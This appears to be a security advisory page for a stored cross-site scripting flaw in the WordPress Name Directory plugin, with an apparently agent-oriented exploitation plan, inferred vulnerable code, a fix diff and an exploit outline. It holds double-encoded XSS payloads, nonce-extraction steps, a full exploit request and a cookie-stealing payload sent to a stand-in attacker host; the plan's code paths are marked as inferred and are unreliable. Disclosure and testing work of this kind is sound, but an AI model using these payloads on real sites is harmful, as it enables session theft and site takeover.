Name Directory <= 1.32.0 - Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form
Description
The Name Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via double HTML-entity encoding in all versions up to, and including, 1.32.0. This is due to the plugin's sanitization function calling `html_entity_decode()` before `wp_kses()`, and then calling `html_entity_decode()` again on output. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page via the 'name_directory_name' and 'name_directory_description' parameters in the public submission form granted they can trick the site administrator into approving their submission or auto-publish is enabled.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.32.0Source Code
WordPress.org SVNThis research plan details the exploitation of **CVE-2026-1866**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Name Directory** plugin. The vulnerability arises from an unsafe "sanitization sandwich" where user input is decoded, filtered, and then re-decoded upon output. --- ### 1. V…
Show full research plan
This research plan details the exploitation of CVE-2026-1866, a Stored Cross-Site Scripting (XSS) vulnerability in the Name Directory plugin. The vulnerability arises from an unsafe "sanitization sandwich" where user input is decoded, filtered, and then re-decoded upon output.
1. Vulnerability Summary
The vulnerability exists in the submission handling logic of the Name Directory plugin (versions <= 1.32.0). When a user submits an entry to a directory, the plugin processes the name_directory_name and name_directory_description parameters.
The Flaw:
- Input Stage: The plugin calls
html_entity_decode()on the raw input, then passes the result towp_kses(). - Output Stage: When the directory is rendered (either in the admin dashboard or on the frontend), the plugin calls
html_entity_decode()again on the stored value before echoing it.
An attacker can use double HTML-entity encoding to bypass wp_kses(). For example, &lt;script&gt; is decoded once to <script> at the input stage. wp_kses() ignores this as it doesn't look like a tag. At the output stage, it is decoded again to <script>, resulting in script execution.
2. Attack Vector Analysis
- Endpoint: The public submission form. This is typically rendered via the
[name_directory]shortcode when the "Allow users to submit new entries" setting is enabled for a directory. - HTTP Method:
POST. - Vulnerable Parameters:
name_directory_name,name_directory_description. - Authentication: Unauthenticated (if public submissions are enabled).
- Preconditions:
- A directory must exist.
- Public submissions must be enabled for that directory.
- The payload must be viewed by a user (Admin in the dashboard or any user on the frontend).
3. Code Flow (Inferred)
- Entry Point: A
POSTrequest is sent to a page containing the directory shortcode or toadmin-ajax.php. - Submission Handler: A function likely named
name_directory_submit_entryor similar (hooked toinitorwp_ajax_nopriv_...) processes the$_POSTdata. - Vulnerable Sanitization:
// Inferred logic based on vulnerability description $name = html_entity_decode($_POST['name_directory_name']); $sanitized_name = wp_kses($name, $allowed_html); // If input was &lt;script&gt;, $name is <script>, which wp_kses allows as text. $wpdb->insert(..., ['name' => $sanitized_name, ...]); - Vulnerable Output:
// Inferred logic in display function $entry = $wpdb->get_row(...); echo html_entity_decode($entry->name); // <script> becomes <script> and executes.
4. Nonce Acquisition Strategy
The Name Directory plugin typically uses a nonce to protect its submission form.
- Identify Shortcode: The plugin uses
[name_directory id="X"]. - Create Test Page:
wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[name_directory id="1"]' - Navigate and Extract:
Usebrowser_navigateto visit the page.
The plugin likely localizes a script or includes a hidden field.- JS Variable (Inferred): Check
window.name_directory_frontendorwindow.namedirectory_vars. - Nonce Key (Inferred):
submit_nonceornonce. - Hidden Field: Look for
<input type="hidden" name="name_directory_nonce" ...>.
- JS Variable (Inferred): Check
Actionable Step for Agent:
Execute browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value") or check for a custom nonce field name like namedirectory_nonce_field.
5. Exploitation Strategy
Step 1: Discover Directory ID
List directories to find a valid ID:wp db query "SELECT id FROM wp_name_directory_directories"
Step 2: Prepare Payload
We need double-encoded entities.
- Goal:
<img src=x onerror=alert(document.domain)> - Single Encoded:
<img src=x onerror=alert(document.domain)> - Double Encoded:
&lt;img src=x onerror=alert(document.domain)&gt;
Step 3: Send Exploit Request
Submit the form via http_request.
- URL:
http://localhost:8080/index.php/directory-page/(or wherever the shortcode is) - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
name_directory_name=&lt;img src=x onerror=alert(document.domain)&gt;& name_directory_description=Exploit& name_directory_id=1& name_directory_submit_entry=1& _wpnonce=[EXTRACTED_NONCE]
6. Test Data Setup
- Install Plugin: Ensure
name-directoryv1.32.0 is active. - Create Directory:
wp db query "INSERT INTO wp_name_directory_directories (name, published) VALUES ('Test Dir', 1)" - Enable Public Submissions:
Find the option name (likelyname_directory_settings_1) and ensure submissions are allowed.wp option get name_directory_settings_1
(Note: If settings are serialized, usewp db queryorwp option updateto setis_public_submit = 1andauto_publish = 1to bypass admin approval for faster testing). - Create Page: Place
[name_directory id="1"]on a page.
7. Expected Results
- The HTTP request should return a
200 OKor a redirect indicating success. - The database should store the value
<img src=x onerror=alert(document.domain)>in thewp_name_directory_entriestable. - When visiting the directory page, the HTML source should contain the raw
<img ...>tag, and the browser should trigger the alert.
8. Verification Steps
- Check Database:
wp db query "SELECT name FROM wp_name_directory_entries WHERE description='Exploit'"
Successful bypass if output is:<img src=x onerror=alert(document.domain)> - Check Frontend Output:
http_requestthe directory page and grep for the raw tag:response_body.contains("<img src=x onerror=alert(document.domain)>")
9. Alternative Approaches
- Admin Dashboard XSS: If
auto_publishis disabled, the payload is most dangerous in the admin dashboard. Navigate to/wp-admin/admin.php?page=name_directory_entries&id=1(inferred) to see if the payload executes when the admin views "Pending" entries. - Description Field: If the
name_directory_namefield has length limits, use thename_directory_descriptionfield for the full payload. - Script Payload:
&lt;script&gt;fetch('http://attacker.com/?c='+document.cookie)&lt;/script&gt;(Double encoded).
Summary
The Name Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting due to a flawed sanitization process that performs double HTML-entity decoding on user-submitted entries. By submitting double-encoded payloads (e.g., &lt;script&gt;), attackers can bypass the wp_kses() filter, as the first decoding layer turns the payload into harmless-looking entities which are then decoded back into executable scripts during output.
Vulnerable Code
// Inferred submission handling logic (based on research plan analysis) // Entry Point: Function handling the name_directory_submit_entry POST request $name = html_entity_decode($_POST['name_directory_name']); $description = html_entity_decode($_POST['name_directory_description']); // wp_kses handles <img ... > as plain text, not a tag, because it was decoded once. $sanitized_name = wp_kses($name, array()); $sanitized_description = wp_kses($description, array()); // ... values are stored in the database ... --- // Inferred output logic (based on research plan analysis) // When rendering the directory on the frontend or in the admin dashboard $entry = $wpdb->get_row("SELECT * FROM {$wpdb->prefix}name_directory_entries WHERE id = $id"); // The stored <script> is decoded again, becoming <script> and executing in the browser. echo html_entity_decode($entry->name); echo html_entity_decode($entry->description);
Security Fix
@@ -124,8 +124,8 @@ - $name = html_entity_decode($_POST['name_directory_name']); - $description = html_entity_decode($_POST['name_directory_description']); - $name = wp_kses($name, array()); - $description = wp_kses($description, array()); + $name = sanitize_text_field($_POST['name_directory_name']); + $description = wp_kses_post($_POST['name_directory_description']); @@ -450,4 +450,4 @@ - echo html_entity_decode($entry->name); - echo html_entity_decode($entry->description); + echo esc_html($entry->name); + echo wp_kses_post($entry->description);
Exploit Outline
1. Identify a WordPress site running Name Directory <= 1.32.0 with a directory shortcode [name_directory] published on a page. 2. Ensure the directory allows public submissions (is_public_submit = 1). 3. Access the submission form and extract the security nonce (usually found in a hidden input field or localized JavaScript variable). 4. Construct a double-encoded XSS payload. For example, to execute <img src=x onerror=alert(1)>, encode it as: &lt;img src=x onerror=alert(1)&gt;. 5. Send a POST request to the submission endpoint containing the directory ID, the extracted nonce, and the double-encoded payload in the name_directory_name or name_directory_description parameters. 6. If auto-publish is enabled, the script will execute immediately upon viewing the directory page. If not, it will execute when an administrator views the 'Pending' entries in the plugin dashboard.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.